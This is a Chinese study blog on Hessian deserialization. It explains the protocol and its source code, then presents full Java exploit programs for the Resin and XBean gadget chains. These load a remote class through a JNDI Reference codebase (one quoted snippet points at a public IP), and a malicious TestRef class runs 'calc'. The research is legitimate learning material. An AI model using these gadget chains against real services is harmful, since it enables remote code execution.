来学一下Hessian反序列化,主要参考su18师傅的文章:
Hessian简介 直接抄su18师傅里面的
Hessian 是 caucho 公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范,一般称之为 Hessian ,并逐步迭代,在 Hassian jar 3.2.0 之后,采用了新的 2.0 版本的协议,一般称之为 Hessian 2.0。
这是一种动态类型的二进制序列化 和 Web 服务 协议,专为面向对象的传输而设计。Hessian 协议在设计时,重点的几个目标包括了:必须尽可能的快、必须尽可能紧凑、跨语言、不需要外部模式或接口定义等等。
对于这样的设计,caucho 公司其实提供了两种解决方案,一个是 Hessian,一个是 Burlap。Hession 是基于二进制的实现,传输数据更小更快,而 Burlap 的消息是 XML 的,有更好的可读性。两种数据都是基于 HTTP 协议传输。
Hessian 本身作为 Resin 的一部分,但是它的 com.caucho.hessian.client
和 com.caucho.hessian.server
包不依赖于任何其他的 Resin 类,因此它也可以使用任何容器如 Tomcat 中,也可以使用在 EJB 中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。
作为一个二进制的序列化协议,Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。
有关Hessian协议和其他协议的对比以及反序列化原理可以看这篇文章:https://blog.csdn.net/ByteDanceTech/article/details/126188189
简单使用 su18师傅的文章里面提供了多种使用方式,这里来复刻一下
基于Servlet 定义一个方法接口
package org.clown.hessianservlet;import java.util.HashMap;public interface Greeting { String sayHello (HashMap o) ; }
服务端创建该方法的具体实现,并继承com.caucho.hessian.server.HessianServlet来将其标记为一个提供服务的Servlet
package org.clown.hessianservlet;import com.caucho.hessian.server.HessianServlet;import java.util.HashMap;import javax.servlet.annotation.*;@WebServlet(name = "hessian", value = "/hessian") public class HelloServlet extends HessianServlet implements Greeting { private String message; @Override public String sayHello (HashMap o) { return "Hello " +o.toString(); } }
然后需要配置Servlet映射,我这里直接用了注解,也可以用web.xml来配置
Client 端通过 com.caucho.hessian.client.HessianProxyFactory
工厂类创建对接口的代理对象,并进行调用,可以看到调用后执行了服务端的逻辑并返回了结果。
这一部分和RMI的远程调用类似,都是通过代理创建对象来执行方法的,等会分析源码的时候也会看到
package org.clown.hessianservlet;import com.caucho.hessian.client.HessianProxyFactory;import java.net.MalformedURLException;import java.util.HashMap;public class Client { public static void main (String[] args) throws MalformedURLException, ClassNotFoundException { String url = "http://localhost:8080/HessianServlet_war_exploded/hessian" ; HessianProxyFactory factory = new HessianProxyFactory (); Greeting greeting = (Greeting) factory.create(Greeting.class, url); HashMap<Object, Object> object = new HashMap <>(); object.put("a" ,"a" ); System.out.println("Hessian Call: " +greeting.sayHello(object)); } }
这里Hessian并不需要像RMI那样接口的包名需要相同。
基于Spring Spring-web 包内提供了 org.springframework.remoting.caucho.HessianServiceExporter
用来暴露远程调用的接口和实现类。使用该类 export 的 Hessian Service 可以被任何 Hessian Client 访问,因为 Spring 中间没有进行任何特殊处理。
从 spring-web-5.3 后,该类被标记为 @Deprecated
, 也就是说 spring 在逐渐淘汰对基于序列化的远程调用的相关支持。
我这里一开始springboot3里面的spring-web是6.1.13的版本,是直接连HessianServiceExporter这个类也找不到了
这里就不尝试了,copy一下官方文档的代码示例:https://www.baeldung.com/spring-remoting-hessian-burlap
@Bean(name = "/booking") RemoteExporter bookingService () { HessianServiceExporter exporter = new HessianServiceExporter (); exporter.setService(new CabBookingServiceImpl ()); exporter.setServiceInterface( CabBookingService.class ); return exporter; }
这是暴露服务的代码,客户端同样用前面的即可,只需要改一下url
他还有使用Burlap协议的写法
暴露服务:
@Bean(name = "/booking") RemoteExporter burlapService () { BurlapServiceExporter exporter = new BurlapServiceExporter (); exporter.setService(new CabBookingServiceImpl ()); exporter.setServiceInterface( CabBookingService.class ); return exporter; }
客户端:
@Bean public BurlapProxyFactoryBean burlapInvoker () { BurlapProxyFactoryBean invoker = new BurlapProxyFactoryBean (); invoker.setServiceUrl("http://localhost:8080/booking" ); invoker.setServiceInterface(CabBookingService.class); return invoker; }
写法基本和使用hessian一致
自封装调用 就是通过对 HessianInput/HessianOutput
、Hessian2Input/Hessian2Output
、BurlapInput/BurlapOutput
的相关方法的封装,可以自行实现传输、存储等逻辑,使用 Hessian 进行序列化和反序列化数据。
这里的Input和Output方法就是直接进行序列化和反序列化的方法,前面的调用也都是对这些方法进行了封装,Output就是序列化出去,Input就是反序列化
Input方法都继承自AbstractHessianInput这个抽象类
Output方法则继承AbstractHessianOutput抽象类
这里封装成一个工具类
package org.clown.hessianservlet;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;public class HessianUtil { public static byte [] serialize(Object obj) throws Exception{ ByteArrayOutputStream bos = new ByteArrayOutputStream (); byte [] result=null ; Hessian2Output oo=new Hessian2Output (bos); oo.writeObject(obj); oo.flush(); result=bos.toByteArray(); return result; } public static Object deserialize (byte [] bytes) throws Exception{ ByteArrayInputStream bis = new ByteArrayInputStream (bytes); Hessian2Input oi=new Hessian2Input (bis); return oi.readObject(); } }
JNDI调用 Hessian 还可以通过将 HessianProxyFactory 配置为 JNDI Resource 的方式来调用。看文章是用了resin来配置的,我没查到web.xml的配置,截个文章的图知道一下算了
源码分析 接口调用 那前面的基于Servlet的代码先来分析,HessianServlet是HttpServlet的子类,那么HessianServlet 的init
方法将会承担一些初始化的功能,而 service
方法将会是相关处理的起始位置。
该类的成员变量
_homeAPI
(调用类的接口 Class)、_homeImpl
(具体实现类的对象)、_serializerFactory
(序列化工厂类)、_homeSkeleton
(封装方法)
看一下init方法
就是对各变量进行判断是否为空来进行初始化,它里面调用了loadClass方法来加载类,不过他这里自己重写了一个loadClass
这里优先从线程获取类加载器,应该是为了更快加载到对应的类,避免走双亲委派的流程,线程的默认的类加载器是AppClassLoader
然后看他的service方法
可以看到只支持POST请求,获取id或者ejbid作为objectId,然后设置一个响应头,再去调用invoke方法
然后就根据objectId是否为空来选择调用的方法
先看一下第一个方法com.caucho.hessian.server.HessianSkeleton#invoke
该类的父类是AbstractSkeleton,该类对Hessian提供的服务进行封装
其将方法、方法名等保存在_methodMap里面
然后HessianSkeleton初始化就将自己的实现类保存在_service变量里面
该类里面还有两个成员变量要看一下
两个工厂类,HessianInputFactory就是用来读取和创建HessianInput/Hessian2Input 流,HessianFactory用来
创建HessianInput/Hessian2Input/HessianOutput/Hessian2Output流
对类基本了解后回过头继续看invoke方法
一开始调用_inputFactory读取header,然后根据header来创建对应的Input和Output流,最后再invoke调用一次服务
这里代码比较长就直接截文章里的图了,这个图写了注释
还有spring的逻辑也差不多看看文章的就好了
序列化和反序列化细节 序列化和反序列化的读取、写入就是由我们前面提到过的AbstractHessianInput/AbstractHessianOutput这两个抽象类提供,然后Hessian/Hessian2/Burlap都提供了方法的具体实现
以Hessian2Output为例子看看序列化的写入
这里根据具体的类来获取序列化器然后写入序列化数据,可以看一下Serializer的实现类有多少
对于自定义类型,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer
进行相关的序列化动作,默认情况下是 UnsafeSerializer
看一下UnsafeSerializer#writeObject方法
这里会调用一个writeObjectBegin方法,该方法是AbstractHessianOutput的
里面再调用了一个writeMapBegin方法,Hessian2Output 重写了writeObjectBegin这个方法,而其他实现类没有。也就是说在 Hessian 1.0 和 Burlap 中,写入自定义数据类型(Object)时,都会调用 writeMapBegin
方法将其标记为 Map 类型。
在 Hessian 2.0 中,将会调用 writeDefinition20
和 Hessian2Output#writeObjectBegin
方法写入自定义数据,就不再将其标记为 Map 类型。
再看反序列化,以Hessian2Input为例
基本就是一大串的switch case语句,根据标识位进行不同的逻辑处理
他在反序列化时也会根据类型获取对应的反序列化器
然后读取自定义类型数据用的是UnsafeDeserializer类,看一下他的readObject方法
创建Unsafe类实例,然后反序列化读取Field并反射写入
Hessian 1.0 的 HessianInput 中,没有针对 Object 的读取,而是都将其作为 Map 读取,因为在序列化的过程中我们也提到,在写入自定义类型时会将其标记为 Map 类型。
MapDeserializer#readMap
方法提供了针对 Map 类型数据的处理逻辑
远程调用 还是根据前面的客户端代码来调试,根据create方法一路往下
在这里创建了动态代理,我们知道动态代理调用方法时会走InvocationHandler#invoke方法,我们去看一下
这里是处理相关方法调用,再往后就是发送请求结果并反序列化,截一下文章的图
其他实现细节 协议版本
使用那种协议进行序列化和反序列化取决于请求标志位
这一设定位于 HessianProxyFactory
中的两个布尔型变量中,即 _isHessian2Reply
和 _isHessian2Request
想更改协议自己set方法设置即可
Serializable
我们知道在Java 原生反序列化中,实现了 java.io.Serializable
接口的类才可以反序列化
Hessian在获取默认序列化器的时候会检查是否实现了Serializable接口
但是注意这里有一个_isAllowNonSerializable变量,它可以打破这种规范,我们只要用set方法将他设置为true,这样没有实现Serializable接口的类也能序列化
然后是 transient 和 static 的问题,在序列化时,由 UnsafeSerializer#introspect
方法来获取对象中的字段,在老版本中应该是 getFieldMap
方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。
这个地方对标识符进行了判断,如果为 transient 和 static 字段则不会参与序列化反序列化流程
漏洞利用 前面的分析可以知道Hessian大部分是利用反射写入值,且过程并没有调用类的readObject方法,也没有触发getter/setter方法,那么漏洞点在哪呢
漏洞点就在我们前面说过的对Map类型数据的处理上,MapDeserializer#readMap
对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象,并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap,将会使用 TreeMap。
那利用的方式其实就比较好联想了对于这两个类
HashMap在put的时候会调用hash方法,从而调用key.hashCode。
TreeMap 在 put 时,由于要进行排序,所以要对 key 进行比较操作,将会调用 compare 方法,会调用 key 的 compareTo 方法。
这么一看Hessian反序列化利用被限制得比较窄
kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
利用链中调用的成员变量不能为 transient 修饰;
所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。
利用链 在marshalsec 项目里有关于该反序列化的实现,有下面五条链
Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor
Rome链 Rome链的核心是他的ToStringBean的toString方法,他可以调用传入类的所有无参getter方法,这里就可以打JdbcRowSetImpl的链子触发jndi
然后ToStringBean外面包一层EqualsBean和HashMap即可
触发链子如下:
HashMap#hashCode EqualsBean#hashCode EqualsBean#beanHashCode ToStringBean#toString JdbcRowSetImpl#getDatabaseMetaData
二次反序列化 上面的JNDI利用需要出网,所以可以借助SignedObject#getObject来打二次反序列化
链子改成这样就行了
HashMap#hashCode EqualsBean#hashCode EqualsBean#beanHashCode ToStringBean#toString SignedObject#getObject
然后封装一个想要的链子进去就行了
Resin 该链子最终效果打的是远程类加载
参考文章:https://blog.csdn.net/uuzeray/article/details/136727060
Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境,和Tomcat一样是个服务器;他常和Hessian产生联系
测试时可以导入下面的包
<dependencies > <dependency > <groupId > com.caucho</groupId > <artifactId > resin</artifactId > <version > 4.0.64</version > </dependency > </dependencies >
Resin 这条利用链的入口点实际上是 HashMap 对比两个对象时触发的 com.sun.org.apache.xpath.internal.objects.XString
的 equals
方法。
XString的利用在ROME的HotSwappableTargetSource利用链有用到过
在这里我们利用的是com.caucho.naming.QName的toString方法
这里的逻辑比较简单,但是QName是什么,我们得先了解一下,才能知道他这样为什么可以触发
看一下他的描述
这里描述意思是代表一个已解析的JNDI名称
看一下他的构造方法
QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。
Context接口的描述
This interface represents a naming context, which consists of a set of name-to-object bindings. It contains methods for examining and updating these bindings.
此接口表示一个命名上下文,它由一组名称到对象的绑定组成。它包含检查和更新这些绑定的方法。也就是jndi的相关操作
然后我们要用到的Context的实现类是ContinuationContext
构造方法
CannotProceedException是javax.naming异常体系中的一种异常,通常在本地加载类失败时使用。它的作用是对无法继续进行操作的异常情况进行处理。
处理的关键在Reference类,文章给了一个对CannotProceedException类的构造
String refAddr = "http://124.222.136.33:1337/" ;String refClassName = "calc" ; Reference ref = new Reference (refClassName, refClassName, refAddr); Object cannotProceedException = Class.forName("javax.naming.CannotProceedException" ).getDeclaredConstructor().newInstance();String classname = "javax.naming.NamingException" ; setFiled(classname, cannotProceedException, "resolvedObj" , ref);
Reference构造方法
现在回到前面QName的toString方法,我们会调用ContinuationContext#composeName方法
然后调用到getTargetContext方法,这里的ctx.composeName方法可以忽略,不在利用链中
然后我们需要进入到NamingManager.getContext方法里面,不过还需要满足前面的两个条件
contCtx == null,在构造中本身就不设置,所以不需要考虑 cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),所以也不会为null
这里传的是cpe.getResolvedObj,也就是我们构造的Reference类
继续跟进
然后漏洞的触发点就在NamingManager#getObjectInstance这个方法里面,从名字看就是要对我们传入的Reference类进行实例化
有关该方法的描述
Creates an instance of an object for the specified object and environment. If an object factory builder has been installed, it is used to create a factory for creating the object. Otherwise, the following rules are used to create the object: If refInfo is a Reference or Referenceable containing a factory class name, use the named factory to create the object. Return refInfo if the factory cannot be created 翻译一下: 为指定的对象和环境创建对象的实例。 如果已安装对象工厂生成器,则使用它来创建用于创建对象的工厂。否则,将使用以下规则创建对象: 如果refInfo是包含工厂类名的Reference或Referenceable,请使用命名的工厂创建对象。如果无法创建工厂,则返回refInfo。
然后关键类方法是getObjectFactoryFromReference
这首先会从本地加载类,肯定加载不到,然后就从codebase加载,也就是我们的远程地址那里,最后及进行类的实例化,然后触发漏洞
然后就是hashMap要触发equals还要构造哈希相等,有点懒得再分析了,直接copy文章的exp小改一下
package org.clown;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import javax.naming.CannotProceedException;import javax.naming.Context;import javax.naming.Reference;import java.io.FileInputStream;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;public class Demo1 { public static void main (String[] args) throws Exception { String refAddr = "http://127.0.0.1:8888/" ; String refClassName = "TestRef" ; Reference ref = new Reference (refClassName, refClassName, refAddr); Object cannotProceedException = Class.forName("javax.naming.CannotProceedException" ).getDeclaredConstructor().newInstance(); String classname = "javax.naming.NamingException" ; setFiled(classname, cannotProceedException, "resolvedObj" , ref); Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext" ); Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true ); Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable <>()); QName qName = new QName (continuationContext, "foo" , "bar" ); String str = unhash(qName.hashCode()); XString xString = new XString (str); HashMap hashMap = new HashMap (); hashMap.put(qName, "111" ); hashMap.put(xString, "222" ); FileOutputStream fileOutputStream = new FileOutputStream ("ResinHessian.bin" ); Hessian2Output hessian2Output = new Hessian2Output (fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.close(); FileInputStream fileInputStream = new FileInputStream ("ResinHessian.bin" ); Hessian2Input hessian2Input = new Hessian2Input (fileInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } public static void setFiled (String classname, Object o, String fieldname, Object value) throws Exception { Class<?> aClass = Class.forName(classname); Field field = aClass.getDeclaredField(fieldname); field.setAccessible(true ); field.set(o, value); } public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder (); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002" ); if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31 ; int rem = target % 31 ; if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char ) div); partial.append((char ) rem); } else { unhash0(partial, div); partial.append((char ) rem); } } }
恶意类TestRef
import java.io.IOException;public class TestRef { public TestRef () throws IOException { Runtime.getRuntime().exec("calc" ); } }
XBean 这条链和Resin差不多
导入下面依赖
<dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-naming</artifactId > <version > 4.24</version > </dependency >
链子
HashMap#equals-->XString#equals-->ContextUtil.ReadOnlyBinding#toString-->Binding#toString-->ContextUtil.ReadOnlyBinding#getObject-->ContextUtil#resolve-->NamingManager#getObjectInstance
看一下关键的地方
ContextUtil.ReadOnlyBinding#toString本身没有toString所以就走到父类Binding#toString
ContextUtil.ReadOnlyBinding#getObject
ContextUtil#resolve
然后后面的就和前面一样了
exp
package org.clown;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import org.apache.xbean.naming.context.ContextUtil;import org.apache.xbean.naming.context.WritableContext;import javax.naming.CannotProceedException;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.Reference;import java.io.FileInputStream;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;public class XBeanUse { public static void main (String[] args) throws Exception { String refAddr = "http://127.0.0.1:8888/" ; String refClassName = "TestRef" ; Reference ref = new Reference (refClassName, refClassName, refAddr); Object cannotProceedException = Class.forName("javax.naming.CannotProceedException" ).getDeclaredConstructor().newInstance(); String classname = "javax.naming.NamingException" ; setFiled(classname, cannotProceedException, "resolvedObj" , ref); ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil .ReadOnlyBinding("clown" ,ref,new WritableContext ()); String str = unhash(readOnlyBinding.hashCode()); XString xString = new XString (str); HashMap hashMap = new HashMap (); hashMap.put(readOnlyBinding, "111" ); hashMap.put(xString, "222" ); FileOutputStream fileOutputStream = new FileOutputStream ("XBeanHessian.bin" ); Hessian2Output hessian2Output = new Hessian2Output (fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.close(); FileInputStream fileInputStream = new FileInputStream ("XBeanHessian.bin" ); Hessian2Input hessian2Input = new Hessian2Input (fileInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } public static void setFiled (String classname, Object o, String fieldname, Object value) throws Exception { Class<?> aClass = Class.forName(classname); Field field = aClass.getDeclaredField(fieldname); field.setAccessible(true ); field.set(o, value); } public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder (); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002" ); if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31 ; int rem = target % 31 ; if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char ) div); partial.append((char ) rem); } else { unhash0(partial, div); partial.append((char ) rem); } } }
选择Context的实现类的时候有些可能报错在执行他的getEnvironment方法的时候,需要设置一些变量之类的,这里的WritableContext类就可以直接创建就能用
其他链 还有一些其他的链子比如Spring AOP之类的就不分析了,懒了主要是(
看一下师傅的文章就好,到时遇到再研究。
这篇文章有相关exp:https://xz.aliyun.com/t/13599?u_atoken=dee6998cc1d8cc5521fac10e0bd2ff43&u_asig=1a0c384b17285714178144818e003d